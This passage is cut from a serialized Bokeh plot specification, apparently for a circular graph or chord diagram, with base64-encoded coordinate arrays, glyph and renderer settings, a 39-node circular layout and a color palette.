ZoA/r781khwkdT+VQUIPNPNnP4pdlTPOb1U/iB1FBKeVNT/90XXm7Cy3vA==\\\",\\\"dtype\\\":\\\"float64\\\",\\\"shape\\\":[50]},{\\\"__ndarray__\\\":\\\"4V9n9tvW4j8caqmr80HiP6ApT8OfquE/LkiMSQ0R4T99b5RKaXXgP5+SNqXBr98/w/6o20Fx3j/jdudQrS/dP3VOWR1e69s/99hlWa6k2j/haXQd+FvZP7NU7IGVEdg/5Ow0n+DF1j/0hbWNM3nVP1dz1WXoK9Q/jgj8P1ne0j8OmZA04JDRP1R4+lvXQ9A/u/NBnTHvzT9G4tZJ/VjLPz5jgu7Fxcg/nR0TvD82xj9buFfjHqvDP2TaHpUXJcE/ZVVuBLxJvT9+oN62TFa4P/7jK6NJcbM/lNvmVTY4rT+dF6VfU7CjP+ovmk12m5Q/8IeX6eYzYT88rOwWSPGPv8Q29nIl3qC/1w7dFWuPqb+wi5oVqQaxv0Ta4feEKrW/SCUn0OAxub/IHs08VBu9v2w8G267csC/xfJiJnBHwr9+C28WFAvEv53fcA3zvMW/L8iZ2lhcx787HhtNkejIv8s6JjToYMq/7nbsXqnEy7+rK5+cIBPNvwyyb7yZS86/G2OPjWBtz7/yy5dv4DvQvw==\\\",\\\"dtype\\\":\\\"float64\\\",\\\"shape\\\":[50]},{\\\"__ndarray__\\\":\\\"ARsHANeZ5D/fMxWnxPfjPz+97nyMVOM/2EGKxVew4j9cTN7ETwviP4Bn4b6dZeE/9x2K92q/4D96+s6y4BjgP28PTWlQ5N4/zqAOgtWW3T93vs83o0ncP9V9fRIM/do/UvQEmmKx2T9YN1NW+WbYP0lcVc8iHtc/lHj4jDHX1T+doSkXeJLUP9Ds1fVIUNM/lG/qsPYQ0j9SP1TQ09TQP+viALhlOM8/yja4t8zOzD8UpaivgW3KP5hYrK8pFcg/J3ydx2nGxT+WOlYH54HDP7i+sH5GSME/smYOe1o0vj+ahmengPC5P8kyIaJJxrU/7MDviv+2sT8tDQ8D2YerP+6yOUu13KM/qjyQW1DemD/A6ouoFweFP0DL0ATUjWq/Spk+JFqckL+jM9aXKledv/bIR66BvqS/w67M+V2Eqr/+HxHvlfqvv7A4VqdKj7K/0Pua7OP2tL+7g6KnzDK3v8x6uLi6Qbm/Z4soAGQiu7/jXz5eftO8v6CiRbO/U76/+P2J392hv78ljqthR17Avw==\\\",\\\"dtype\\\":\\\"float64\\\",\\\"shape\\\":[50]},{\\\"__ndarray__\\\":\\\"waxnDQhD5j9Wn0sVRZTlPwKHTNsC5eQ/NelqAGo15D9WS6clo4XjP9MyAuzW1eI/FiV89C0m4j+PpxXg0HbhP6Q/z0/ox+A/w3Kp5JwZ4D+vjEl/LtjeP51/gwMAf90/JckBmP8n3D8hdMV+ftPaP2OLz/nNgdk/yhkhSz8z2D8kKru0I+jWP1DHnnjMoNU/IvzM2Ipd1D9w00YXsB7TPxZYDXaN5NE/6JQhN3Sv0D9+KQk5a//OP+DEbtBFq8w/qBF2uBpjyj+FJSF1jCfIPycWcoo9+cU/N/lqfNDYwz9q5A3P58bBP9PauQxMiL8/1VO0TFuiuz8qXw9mQt23Pzgoz2BGOrQ/WNr3RKy6sD/WQRs1cr+qP6ROKdNjVaQ/fmNE6G5znD/fgxxQ7t2QP2yvrvdnvXc/FNz1uOdMcb/YbpyocsmLv9bnNRQQwJa/ytrjDSrgnr9qsaOQ+R+jvzrpJ5crbaa/Jj52CiFVqb9qWYbaT9Wrv0/kT/ct662/F4jKUDGUr78F93br52awvw==\\\",\\\"dtype\\\":\\\"float64\\\",\\\"shape\\\":[50]}]},\\\"selected\\\":{\\\"id\\\":\\\"1135\\\",\\\"type\\\":\\\"Selection\\\"},\\\"selection_policy\\\":{\\\"id\\\":\\\"1134\\\",\\\"type\\\":\\\"UnionRenderers\\\"}},\\\"id\\\":\\\"1077\\\",\\\"type\\\":\\\"ColumnDataSource\\\"},{\\\"attributes\\\":{\\\"line_color\\\":{\\\"value\\\":\\\"limegreen\\\"},\\\"xs\\\":{\\\"field\\\":\\\"xs\\\"},\\\"ys\\\":{\\\"field\\\":\\\"ys\\\"}},\\\"id\\\":\\\"1102\\\",\\\"type\\\":\\\"MultiLine\\\"},{\\\"attributes\\\":{},\\\"id\\\":\\\"1049\\\",\\\"type\\\":\\\"BasicTicker\\\"},{\\\"attributes\\\":{\\\"source\\\":{\\\"id\\\":\\\"1078\\\",\\\"type\\\":\\\"ColumnDataSource\\\"}},\\\"id\\\":\\\"1085\\\",\\\"type\\\":\\\"CDSView\\\"},{\\\"attributes\\\":{\\\"fill_color\\\":{\\\"value\\\":\\\"limegreen\\\"},\\\"size\\\":{\\\"units\\\":\\\"screen\\\",\\\"value\\\":15}},\\\"id\\\":\\\"1096\\\",\\\"type\\\":\\\"Circle\\\"},{\\\"attributes\\\":{\\\"data_source\\\":{\\\"id\\\":\\\"1086\\\",\\\"type\\\":\\\"ColumnDataSource\\\"},\\\"glyph\\\":{\\\"id\\\":\\\"1088\\\",\\\"type\\\":\\\"Text\\\"},\\\"hover_glyph\\\":null,\\\"muted_glyph\\\":null,\\\"nonselection_glyph\\\":{\\\"id\\\":\\\"1089\\\",\\\"type\\\":\\\"Text\\\"},\\\"selection_glyph\\\":null,\\\"view\\\":{\\\"id\\\":\\\"1091\\\",\\\"type\\\":\\\"CDSView\\\"}},\\\"id\\\":\\\"1090\\\",\\\"type\\\":\\\"GlyphRenderer\\\"},{\\\"attributes\\\":{},\\\"id\\\":\\\"1114\\\",\\\"type\\\":\\\"NodesAndLinkedEdges\\\"},{\\\"attributes\\\":{\\\"line_color\\\":{\\\"field\\\":\\\"source_str__\\\",\\\"transform\\\":{\\\"id\\\":\\\"1075\\\",\\\"type\\\":\\\"CategoricalColorMapper\\\"}},\\\"xs\\\":{\\\"field\\\":\\\"xs\\\"},\\\"ys\\\":{\\\"field\\\":\\\"ys\\\"}},\\\"id\\\":\\\"1101\\\",\\\"type\\\":\\\"MultiLine\\\"},{\\\"attributes\\\":{},\\\"id\\\":\\\"1044\\\",\\\"type\\\":\\\"LinearScale\\\"},{\\\"attributes\\\":{},\\\"id\\\":\\\"1046\\\",\\\"type\\\":\\\"LinearScale\\\"},{\\\"attributes\\\":{\\\"overlay\\\":{\\\"id\\\":\\\"1068\\\",\\\"type\\\":\\\"BoxAnnotation\\\"}},\\\"id\\\":\\\"1061\\\",\\\"type\\\":\\\"BoxZoomTool\\\"},{\\\"attributes\\\":{\\\"edge_renderer\\\":{\\\"id\\\":\\\"1103\\\",\\\"type\\\":\\\"GlyphRenderer\\\"},\\\"inspection_policy\\\":{\\\"id\\\":\\\"1116\\\",\\\"type\\\":\\\"NodesAndLinkedEdges\\\"},\\\"layout_provider\\\":{\\\"id\\\":\\\"1092\\\",\\\"type\\\":\\\"StaticLayoutProvider\\\"},\\\"node_renderer\\\":{\\\"id\\\":\\\"1097\\\",\\\"type\\\":\\\"GlyphRenderer\\\"},\\\"selection_policy\\\":{\\\"id\\\":\\\"1114\\\",\\\"type\\\":\\\"NodesAndLinkedEdges\\\"}},\\\"id\\\":\\\"1105\\\",\\\"type\\\":\\\"GraphRenderer\\\"},{\\\"attributes\\\":{\\\"data_source\\\":{\\\"id\\\":\\\"1078\\\",\\\"type\\\":\\\"ColumnDataSource\\\"},\\\"glyph\\\":{\\\"id\\\":\\\"1080\\\",\\\"type\\\":\\\"MultiLine\\\"},\\\"hover_glyph\\\":{\\\"id\\\":\\\"1083\\\",\\\"type\\\":\\\"MultiLine\\\"},\\\"muted_glyph\\\":null,\\\"nonselection_glyph\\\":{\\\"id\\\":\\\"1081\\\",\\\"type\\\":\\\"MultiLine\\\"},\\\"selection_glyph\\\":{\\\"id\\\":\\\"1082\\\",\\\"type\\\":\\\"MultiLine\\\"},\\\"view\\\":{\\\"id\\\":\\\"1085\\\",\\\"type\\\":\\\"CDSView\\\"}},\\\"id\\\":\\\"1084\\\",\\\"type\\\":\\\"GlyphRenderer\\\"},{\\\"attributes\\\":{\\\"plot\\\":null,\\\"text\\\":\\\"\\\",\\\"text_color\\\":{\\\"value\\\":\\\"black\\\"},\\\"text_font_size\\\":{\\\"value\\\":\\\"12pt\\\"}},\\\"id\\\":\\\"1039\\\",\\\"type\\\":\\\"Title\\\"},{\\\"attributes\\\":{},\\\"id\\\":\\\"1128\\\",\\\"type\\\":\\\"Selection\\\"},{\\\"attributes\\\":{\\\"bottom_units\\\":\\\"screen\\\",\\\"fill_alpha\\\":{\\\"value\\\":0.5},\\\"fill_color\\\":{\\\"value\\\":\\\"lightgrey\\\"},\\\"left_units\\\":\\\"screen\\\",\\\"level\\\":\\\"overlay\\\",\\\"line_alpha\\\":{\\\"value\\\":1.0},\\\"line_color\\\":{\\\"value\\\":\\\"black\\\"},\\\"line_dash\\\":[4,4],\\\"line_width\\\":{\\\"value\\\":2},\\\"plot\\\":null,\\\"render_mode\\\":\\\"css\\\",\\\"right_units\\\":\\\"screen\\\",\\\"top_units\\\":\\\"screen\\\"},\\\"id\\\":\\\"1068\\\",\\\"type\\\":\\\"BoxAnnotation\\\"},{\\\"attributes\\\":{\\\"fill_color\\\":{\\\"value\\\":\\\"limegreen\\\"},\\\"size\\\":{\\\"units\\\":\\\"screen\\\",\\\"value\\\":15}},\\\"id\\\":\\\"1095\\\",\\\"type\\\":\\\"Circle\\\"},{\\\"attributes\\\":{\\\"angle\\\":{\\\"field\\\":\\\"angle\\\",\\\"units\\\":\\\"rad\\\"},\\\"text_alpha\\\":{\\\"value\\\":0.1},\\\"text_baseline\\\":\\\"middle\\\",\\\"text_color\\\":{\\\"value\\\":\\\"black\\\"},\\\"text_font_size\\\":{\\\"value\\\":\\\"8pt\\\"},\\\"x\\\":{\\\"field\\\":\\\"x\\\"},\\\"y\\\":{\\\"field\\\":\\\"y\\\"}},\\\"id\\\":\\\"1089\\\",\\\"type\\\":\\\"Text\\\"},{\\\"attributes\\\":{},\\\"id\\\":\\\"1133\\\",\\\"type\\\":\\\"Selection\\\"},{\\\"attributes\\\":{\\\"source\\\":{\\\"id\\\":\\\"1077\\\",\\\"type\\\":\\\"ColumnDataSource\\\"}},\\\"id\\\":\\\"1104\\\",\\\"type\\\":\\\"CDSView\\\"},{\\\"attributes\\\":{},\\\"id\\\":\\\"1121\\\",\\\"type\\\":\\\"BasicTickFormatter\\\"},{\\\"attributes\\\":{\\\"line_color\\\":{\\\"field\\\":\\\"index_str__\\\",\\\"transform\\\":{\\\"id\\\":\\\"1074\\\",\\\"type\\\":\\\"CategoricalColorMapper\\\"}},\\\"line_width\\\":{\\\"value\\\":10},\\\"xs\\\":{\\\"field\\\":\\\"arc_xs\\\"},\\\"ys\\\":{\\\"field\\\":\\\"arc_ys\\\"}},\\\"id\\\":\\\"1082\\\",\\\"type\\\":\\\"MultiLine\\\"},{\\\"attributes\\\":{\\\"callback\\\":null,\\\"end\\\":1.4,\\\"reset_end\\\":1.4,\\\"reset_start\\\":-1.4,\\\"start\\\":-1.4},\\\"id\\\":\\\"1036\\\",\\\"type\\\":\\\"Range1d\\\"},{\\\"attributes\\\":{},\\\"id\\\":\\\"1135\\\",\\\"type\\\":\\\"Selection\\\"},{\\\"attributes\\\":{\\\"line_alpha\\\":{\\\"value\\\":0.1},\\\"line_color\\\":{\\\"field\\\":\\\"source_str__\\\",\\\"transform\\\":{\\\"id\\\":\\\"1075\\\",\\\"type\\\":\\\"CategoricalColorMapper\\\"}},\\\"xs\\\":{\\\"field\\\":\\\"xs\\\"},\\\"ys\\\":{\\\"field\\\":\\\"ys\\\"}},\\\"id\\\":\\\"1100\\\",\\\"type\\\":\\\"MultiLine\\\"},{\\\"attributes\\\":{},\\\"id\\\":\\\"1054\\\",\\\"type\\\":\\\"BasicTicker\\\"},{\\\"attributes\\\":{\\\"line_color\\\":{\\\"value\\\":\\\"limegreen\\\"},\\\"line_width\\\":{\\\"value\\\":10},\\\"xs\\\":{\\\"field\\\":\\\"arc_xs\\\"},\\\"ys\\\":{\\\"field\\\":\\\"arc_ys\\\"}},\\\"id\\\":\\\"1083\\\",\\\"type\\\":\\\"MultiLine\\\"},{\\\"attributes\\\":{\\\"graph_layout\\\":{\\\"0\\\":[0.9953791129491982,0.09602302590768175],\\\"1\\\":[0.9269167573460217,0.3752670048793741],\\\"10\\\":[-0.518392568310524,-0.8551427630053468],\\\"11\\\":[-0.3453650544213073,-0.9384684220497606],\\\"12\\\":[-0.22252093395631284,-0.974927912181824],\\\"13\\\":[-0.1278771616845048,-0.9917900138232463],\\\"14\\\":[-0.06407021998071197,-0.9979453927503364],\\\"15\\\":[7.044813998280222e-16,-1.0],\\\"16\\\":[0.06407021998071337,-0.9979453927503363],\\\"17\\\":[0.1278771616845062,-0.991790013823246],\\\"18\\\":[0.19115862870137224,-0.9815591569910653],\\\"19\\\":[0.25365458390950707,-0.9672948630390295],\\\"2\\\":[0.19115862870137226,0.9815591569910653],\\\"20\\\":[0.31510821802362016,-0.9490557470106689],\\\"21\\\":[0.37526700487937337,-0.9269167573460221],\\\"22\\\":[0.4338837391175571,-0.9009688679024196],\\\"23\\\":[0.4907175520039367,-0.87131870412339],\\\"24\\\":[0.5455349012105473,-0.8380881048918415],\\\"25\\\":[0.5981105304912144,-0.8014136218679577],\\\"26\\\":[0.6482283953077868,-0.7614459583691358],\\\"27\\\":[0.6956825506034847,-0.7183493500977293],\\\"28\\\":[0.7402779970753138,-0.6723008902613188],\\\"29\\\":[0.8014136218679548,-0.5981105304912184],\\\"3\\\":[-0.6482283953077885,0.7614459583691343],\\\"30\\\":[0.8551427630053449,-0.5183925683105272],\\\"31\\\":[0.8865993063729988,-0.4625382902408377],\\\"32\\\":[0.9144126230158113,-0.40478334312239656],\\\"33\\\":[0.9384684220497592,-0.3453650544213107],\\\"34\\\":[0.9586678530366596,-0.28452758663103583],\\\"35\\\":[0.9749279121818227,-0.22252093395631808],\\\"36\\\":[0.9871817834144495,-0.1595998950333832],\\\"37\\\":[0.9953791129491978,-0.09602302590768605],\\\"38\\\":[0.9994862162006877,-0.03205157757165973],\\\"4\\\":[-0.926916757346022,0.37526700487937364],\\\"5\\\":[-0.991790013823246,-0.12787716168450627],\\\"6\\\":[-0.9269167573460217,-0.37526700487937426],\\\"7\\\":[-0.855142763005346,-0.5183925683105254],\\\"8\\\":[-0.7818314824680296,-0.6234898018587338],\\\"9\\\":[-0.6723008902613163,-0.7402779970753159]}},\\\"id\\\":\\\"1092\\\",\\\"type\\\":\\\"StaticLayoutProvider\\\"},{\\\"attributes\\\":{\\\"dimension\\\":1,\\\"grid_line_color\\\":{\\\"value\\\":null},\\\"plot\\\":{\\\"id\\\":\\\"1040\\\",\\\"subtype\\\":\\\"Figure\\\",\\\"type\\\":\\\"Plot\\\"},\\\"ticker\\\":{\\\"id\\\":\\\"1054\\\",\\\"type\\\":\\\"BasicTicker\\\"}},\\\"id\\\":\\\"1057\\\",\\\"type\\\":\\\"Grid\\\"},{\\\"attributes\\\":{\\\"line_color\\\":{\\\"field\\\":\\\"index_str__\\\",\\\"transform\\\":{\\\"id\\\":\\\"1074\\\",\\\"type\\\":\\\"CategoricalColorMapper\\\"}},\\\"line_width\\\":{\\\"value\\\":10},\\\"xs\\\":{\\\"field\\\":\\\"arc_xs\\\"},\\\"ys\\\":{\\\"field\\\":\\\"arc_ys\\\"}},\\\"id\\\":\\\"1080\\\",\\\"type\\\":\\\"MultiLine\\\"},{\\\"attributes\\\":{\\\"factors\\\":[\\\"0\\\",\\\"1\\\",\\\"2\\\",\\\"3\\\",\\\"4\\\",\\\"5\\\",\\\"6\\\",\\\"7\\\",\\\"8\\\",\\\"9\\\",\\\"10\\\",\\\"11\\\",\\\"12\\\",\\\"13\\\",\\\"14\\\",\\\"15\\\",\\\"16\\\",\\\"17\\\",\\\"18\\\",\\\"19\\\",\\\"20\\\",\\\"21\\\",\\\"22\\\",\\\"23\\\",\\\"24\\\",\\\"25\\\",\\\"26\\\",\\\"27\\\",\\\"28\\\",\\\"29\\\",\\\"30\\\",\\\"31\\\",\\\"32\\\",\\\"33\\\",\\\"34\\\",\\\"35\\\",\\\"36\\\",\\\"37\\\",\\\"38\\\"],\\\"palette\\\":[\\\"#1f77b4\\\",\\\"#1f77b4\\\",\\\"#aec7e8\\\",\\\"#aec7e8\\\",\\\"#ff7f0e\\\",\\\"#ff7f0e\\\",\\\"#ffbb78\\\",\\\"#ffbb78\\\",\\\"#2ca02c\\\",\\\"#2ca02c\\\",\\\"#98df8a\\\",\\\"#98df8a\\\",\\\"#d62728\\\",\\\"#d62728\\\",\\\"#ff9896\\\",\\\"#ff9896\\\",\\\"#9467bd\\\",\\\"#9467bd\\\",\\\"#c5b0d5\\\",\\\"#c5b0d5\\\",\\\"#8c564b\\\",\\\"#c49c94\\\",\\\"#c49c94\\\",\\\"#e377c2\\\",\\\"#e377c2\\\",\\\"#f7b6d2\\\",\\\"#f7b6d2\\\",\\\"#7f7f7f\\\",\\\"#7f7f7f\\\",\\\"#c7c7c7\\\",\\\"#c7c7c7\\\",\\\"#bcbd22\\\",\\\"#bcbd22\\\",\\\"#dbdb8d\\\",\\\"#dbdb8d\\\",\\\"#17becf\\\",\\\"#17becf\\\",\\\"#9edae5\\\",\\\"#9edae5\\\"]},\\\"id\\\":\\\"1075\\\",\\\"type\\\":\\\"CategoricalColorMapper\\\"},{\\\"attributes\\\":{\\\"callback\\\":null,\\\"data\\\":{\\\"arc_xs\\\":[{\\\"__ndarray__\\\":\\\"AAAAAAAA8D8i77qKlP/vP19wvS1S/u8/TYx88Tj87z93ZxDkSPnvP7HjMxmC9e8/lBtEquTw7z8tuD+2cOvvP8ogxmEm5e8/CYUW1wXe7z8cwQ5GD9bvP0ocKuRCze8/wuF/7KDD7z+/08GfKbnvPwd5OkTdre8/1UTLJbyh7z86meqVxpTvPwOkoev8hu8/KRaKg1947z/otcu/7mjvPw==\\\",\\\"dtype\\\":\\\"float64\\\",\\\"shape\\\":[20]},{\\\"__ndarray__\\\":\\\"6LXLv+5o7z/iaLDJlEfvPysbQonyIu8/Q5ag1gv77j+bybHh5M/uP0lPsTGCoe4/mMa2pOhv7j82ETNvHTvuP7yAZBsmA+4/PQPCiAjI7T9tXl3ryontPweKPMtzSO0/0TqqAwoE7T/GsH3ClLzsP5vbWYcbcuw/+enjIqYk7D9/WPG1PNTrP46WrbDngOs/31e30a8q6z+WqjUlntHqPw==\\\",\\\"dtype\\\":\\\"float64\\\",\\\"shape\\\":[20]},{\\\"__ndarray__\\\":\\\"lqo1JZ7R6j8jzfmYo0DpP/FXYziugec/zZgm1uuX5T93sIIz2IbjPyP+i6g2UuE/5wE6lBb83T+09c4zJx3ZP9+A7Jt9ENQ/pwy69pa+zT+PsxAMCibDP0JA9/g+1bA/anuJvPEAk7+r67pQEU26vyUuTE4B1ce/hhZynQos0b+FPztBUE7Wv27l84r4R9u/FvpJM/oH4L9BFheZx07ivw==\\\",\\\"dtype\\\":\\\"float64\\\",\\\"shape\\\":[20]},{\\\"__ndarray__\\\":\\\"QRYXmcdO4r9enjIijpLiv9TGF+/X1eK/SdfbO6MY479or+VH7lrjv76L+VW3nOO/97NErPzd4781EmmUvB7kvzSziFv1XuS/6C5RUqWe5L9N+QbNyt3kvyGbkCNkHOW/JtKBsW9a5b/QmCbW65flv9wUjvTW1OW/tGyVcy8R5r83g/K980zmv7mZPkIiiOa/4NcAc7nC5r8aubjGt/zmvw==\\\",\\\"dtype\\\":\\\"float64\\\",\\\"shape\\\":[20]},{\\\"__ndarray__\\\":\\\"Grm4xrf85r8b31hCmt7nv/O3bhh4tui/79NXr/aD6b/F8tzHv0bqv93BZKGB/uq/cq9DHO+q67/Iaxrav0vsv6WCNVyw4Oy/mU3hH4Jp7b9vW6a4++Xtv8FJY+joVe6/Z/M5tRq57r+Uv0Z9Zw/vv4jLGQirWO+/O5nqlcaU77/C4X/soMPvv8ogxmEm5e+/eGcQ5Ej5778AAAAAAADwvw==\\\",\\\"dtype\\\":\\\"float64\\\",\\\"shape\\\":[20]},{\\\"__ndarray__\\\":\\\"AAAAAAAA8L8G0vT2QP/vvwkwvOQD/e+/d2cQ5Ej5778f7HshEPTvv2FEV9tZ7e+/ySDGYSbl7789n7MWdtvvv9m5zW1J0O+/wuF/7KDD778qxuwpfbXvv85H587epe+/OpnqlcaU779KjBFLNYLvvy8NDcwrbu+/h8sZCKtY77/vEfX/s0Hvv53M0MVHKe+/k79GfWcP77//7EpbFPTuvw==\\\",\\\"dtype\\\":\\\"float64\\\",\\\"shape\\\":[20]},{\\\"__ndarray__\\\":\\\"/+xKWxT07r9qLB2mT9fuv2XzObUaue6/bVBK8XaZ7r+2GBPUZXjuv79JY+joVe6/a58BygEy7r96X5klsgzuv2xbprj75e2/filgUeC97b/0laTOYZTtv5lN4R+Cae2/bML8REM97b+8Sz5Opw/tv6SCNVyw4Oy/JNygn2Cw7L8KglNZun7sv8drGtq/S+y/mriggnMX7L8/TFPD1+Hrvw==\\\",\\\"dtype\\\":\\\"float64\\\",\\\"shape\\\":[20]},{\\\"__ndarray__\\\":\\\"P0xTw9fh679/WPG1PNTrv5oMJ+SMxuu/aBsrWMi4679xr0Mc76rrv0ZjxjoBneu/0zkYvv6O67+Mlq2w54Drv7Q1Ch28cuu/dSTBDXxk67/+uHSNJ1brv5+K1qa+R+u/v2mnZEE567/dV7fRryrrv4J/5fgJHOu/Giwg5U8N67/awWShgf7qv3u1vzif7+q/CIRMtqjg6r+UqjUlntHqvw==\\\",\\\"dtype\\\":\\\"float64\\\",\\\"shape\\\":[20]},{\\\"__ndarray__\\\":\\\"lKo1JZ7R6r/IYaSKBqTqv4nq5AO8deq/wvLcx79G6r8yqxsSExfqvxCA0SK35um/o7LHPq216b/u01ev9oPpv70gY8KUUem/Rb9Jyoge6b+P3uEd1Orov++3bhh4tui/xnKXGXaB6L+76l2Fz0vov8BYFcSFFei/GN9YQpre57+U+AFxDqfnv13LHsXjbue/al/otxs2578WubjGt/zmvw==\\\",\\\"dtype\\\":\\\"float64\\\",\\\"shape\\\":[20]},{\\\"__ndarray__\\\":\\\"Frm4xrf85r+YOwJJH9bmv2Zo2aBCr+a/tZk+QiKI5r9pSPyhvmDmv2ivpTUYOea/sGyVcy8R5r/7H+zSBOnlv0IHj8uYwOW/yJgm1uuX5b/+Gh1s/m7lvwU6nQfRReW/GpuQI2Qc5b+lbZ47uPLkvyj6KczNyOS/4S5RUqWe5L91KutLP3TkvynEhjecSeS/LhJplLwe5L/M7YvioPPjvw==\\\",\\\"dtype\\\":\\\"float64\\\",\\\"shape\\\":[20]},{\\\"__ndarray__\\\":\\\"zO2L4qDz47+2i/lVt5zjvxu8hJ/jROO/c3XO1yns4r9WnjIijpLiv++klqwUOOK/s5g3r8Hc4b/DyHdsmYDhvwPpqzCgI+G/XsDnUdrF4L/1YsovTGfgvwr6STP6B+C/Mzn+nNFP379ndd/4OI7evxA9s4Ezy92/Mgr5T8oG3b+5oseMBkHcvx25X3Hxedu/j8u9RpSx2r9IRytl+OfZvw==\\\",\\\"dtype\\\":\\\"float64\\\",\\\"shape\\\":[20]},{\\\"__ndarray__\\\":\\\"SEcrZfjn2b+tVnLftYLZv6f1zjMnHdm/lShmkU232L9dtzwoKlHYvx2iMym+6te/S5MExgqE17+5Tj4xER3Xv/oeQZ7Stda/ez87QVBO1r/ERCVPi+bVv2WCvv2EftW/BW6Jgz4W1b+wAMgXua3Uv/IVePL1RNS/IMhPTPbb079my7leu3LTv9LF0WNGCdO/56Vglpif0r8w99gxszXSvw==\\\",\\\"dtype\\\":\\\"float64\\\",\\\"shape\\\":[20]},{\\\"__ndarray__\\\":\\\"MPfYMbM10r9FNFNyl8vRv3YXipRGYdG/iOnW1cH20L8Wzi10CozQv6kOGq4hIdC/Hsh0hRFsz7/BenrjgZXOv30MuvaWvs2/D9W4QFPnzL8kMgVEuQ/Mv7MJL4TLN8u/REjAhYxfyr9aXTXO/obJvxm19eMkrsi/5y1MTgHVx79FjV+VlvvGvz7wKkLnIca/ljp23vVHxb+Yg870xG3Evw==\\\",\\\"dtype\\\":\\\"float64\\\",\\\"shape\\\":[20]},{\\\"__ndarray__\\\":\\\"mIPO9MRtxL/mrD95lQDEv3d/fhBXk8O/dLMQDAomw7+c54a9rrjCv+JkfHZFS8K/zeCWiM7dwb8CQYZFSnDBvzZeBP+4AsG/LcfUBhuVwL+Yg8SucCfAvw+vU5F0c7+/OwvITPCXvr/gJLYzVby9v50O/+mj4Ly/MmqUE90EvL/r7XdUASm7vz7rulARTbq/19J9rA1xub8ju+8L95S4vw==\\\",\\\"dtype\\\":\\\"float64\\\",\\\"shape\\\":[20]},{\\\"__ndarray__\\\":\\\"I7vvC/eUuL+J5U0Tzri3v9dD42aT3La/rf0Hq0cAtr+T9SCE6yO1v1JPn5Z/R7S/t/P/hgRrs7/aFsv5eo6yvw69k5PjsbG/G0D3+D7VsL86qDmdG/Gvv1YbanKhN66/3cryuhB+rL9ufFfAasSqv5LTK8ywCqm/w1sSKORQp7/2kbsdBpelv5Lw5PYX3aO/XPZX/Rojor9hMul6EGmgvw==\\\",\\\"dtype\\\":\\\"float64\\\",\\\"shape\\\":[20]},{\\\"__ndarray__\\\":\\\"YTLpehBpoL+kmu5y812dv7Qm1AWw6Zm/3PtiQll1lr8weom88QCTv+EMhRD4GI+/GS8nc/UviL8unBXJ4EaBv+Ua9HR+u3S/t9k+fK+kW78Y8z58r6RbPz0h9HR+u3Q/Wp8VyeBGgT9FMidz9S+IPw0QhRD4GI8/xnuJvPEAkz9y/WJCWXWWP0oo1AWw6Zk/OpzucvNdnT8sM+l6EGmgPw==\\\",\\\"dtype\\\":\\\"float64\\\",\\\"shape\\\":[20]},{\\\"__ndarray__\\\":\\\"LDPpehBpoD8n91f9GiOiP13x5PYX3aM/wZK7HQaXpT+NXBIo5FCnP1zUK8ywCqk/OX1XwGrEqj+oy/K6EH6sPyEcanKhN64/Bak5nRvxrz+AQPf4PtWwP3S9k5PjsbE/PxfL+XqOsj8d9P+GBGuzP7dPn5Z/R7Q/+PUghOsjtT8S/gerRwC2PzxE42aT3LY/7uVNE864tz+Iu+8L95S4Pw==\\\",\\\"dtype\\\":\\\"float64\\\",\\\"shape\\\":[20]},{\\\"__ndarray__\\\":\\\"iLvvC/eUuD88032sDXG5P6PrulARTbo/UO53VAEpuz+XapQT3QS8PwIP/+mj4Lw/RSW2M1W8vT+fC8hM8Je+P3SvU5F0c78/yoPErnAnwD9gx9QGG5XAP2leBP+4AsE/NEGGRUpwwT//4JaIzt3BPxRlfHZFS8I/zueGva64wj+msxAMCibDP6l/fhBXk8M/GK0/eZUAxD/Kg870xG3EPw==\\\",\\\"dtype\\\":\\\"float64\\\",\\\"shape\\\":[20]},{\\\"__ndarray__\\\":\\\"yoPO9MRtxD8db7Ax5drEP8g6dt71R8U/oE+8qfa0xT9w8CpC5yHGPzJ2dlbHjsY/d41flZb7xj+GcrOtVGjHPxkuTE4B1cc/59EQJpxByD9LtfXjJK7IP0Cx/DabGsk/jF01zv6GyT+vTL1YT/PJP1ZIwIWMX8o/tY14BLbLyj/lCS+EyzfLP6mVO7TMo8s/VTIFRLkPzD98RQLjkHvMPw==\\\",\\\"dtype\\\":\\\"float64\\\",\\\"shape\\\":[20]},{\\\"__ndarray__\\\":\\\"fEUC45B7zD8h1bhAU+fMP87DvgwAU80/jwy69pa+zT8M/2CuFyrOP/N6euOBlc4/kyzeRdUAzz8xyHSFEWzPP+hFOFI2188/sg4ariEh0D/WwMIpnFbQPx/OLXQKjNA/sOR7ZWzB0D+R6dbVwfbQP3gWcp0KLNE/fxeKlEZh0T/dKGWTdZbRP040U3KXy9E/Ee+tCawA0j8599gxszXSPw==\\\",\\\"dtype\\\":\\\"float64\\\",\\\"shape\\\":[20]},{\\\"__ndarray__\\\":\\\"OffYMbM10j9V8UHDrGrSP/ClYJaYn9I/Fx+3g3bU0j/bxdFjRgnTP4l/Rw8IPtM/b8u5Xrty0z/739QqYKfTPynIT0z229M/0IDsm30Q1D/7FXjy9UTUP++/yihfedQ/uQDIF7mt1D8pwV6YA+LUP/9tiYM+FtU/ERVOsmlK1T9ugr79hH7VPy1d+D6QstU/zUQlT4vm1T/17XoHdhrWPw==\\\",\\\"dtype\\\":\\\"float64\\\",\\\"shape\\\":[20]},{\\\"__ndarray__\\\":\\\"9e16B3Ya1j90PztBUE7WPy1vtNUZgtY/9B5BntK11j90eUh0eunWP8JOPjERHdc/fDGjrpZQ1z9FkwTGCoTXP4fh/FBtt9c/F6IzKb7q1z/mj10o/R3YP1e3PCgqUdg/H5OgAkWE2D+PKGaRTbfYPxMkeK5D6tg/ofXOMycd2T8n7XD790/ZP6dWct+1gtk/3Jb1uWC12T9CRytl+OfZPw==\\\",\\\"dtype\\\":\\\"float64\\\",\\\"shape\\\":[20]},{\\\"__ndarray__\\\":\\\"QkcrZfjn2T9YUlK7fBraP9MPuJbtTNo/uWC40Up/2j+Jy71GlLHaPxGYQdDJ49o/vuvLSOsV2z9e5fOK+EfbPxe5X3Hxeds/R8zE1tWr2z9n0eeVpd3bP5bjnIlgD9w/s6LHjAZB3D/QTlt6l3LcP+rjWi0TpNw/fjXZgHnV3D8sCvlPygbdP/w27XUFON0/K7v4zSpp3T9d224zOprdPw==\\\",\\\"dtype\\\":\\\"float64\\\",\\\"shape\\\":[20]},{\\\"__ndarray__\\\":\\\"XdtuMzqa3T8KPbOBM8vdP84BOpQW/N0/sOKHRuMs3j9sSzJ0mV3eP2F13/g4jt4/DYNGsMG+3j/lmi92M+/eP2gCdCaOH98/Hzn+nNFP3z+TE8q1/X/fP/jV5EwSsN8/VE9tPg/g3z8H+kkz+gfgP1t8zdDgH+A/VjbrZbs34D9pKtbgiU/gP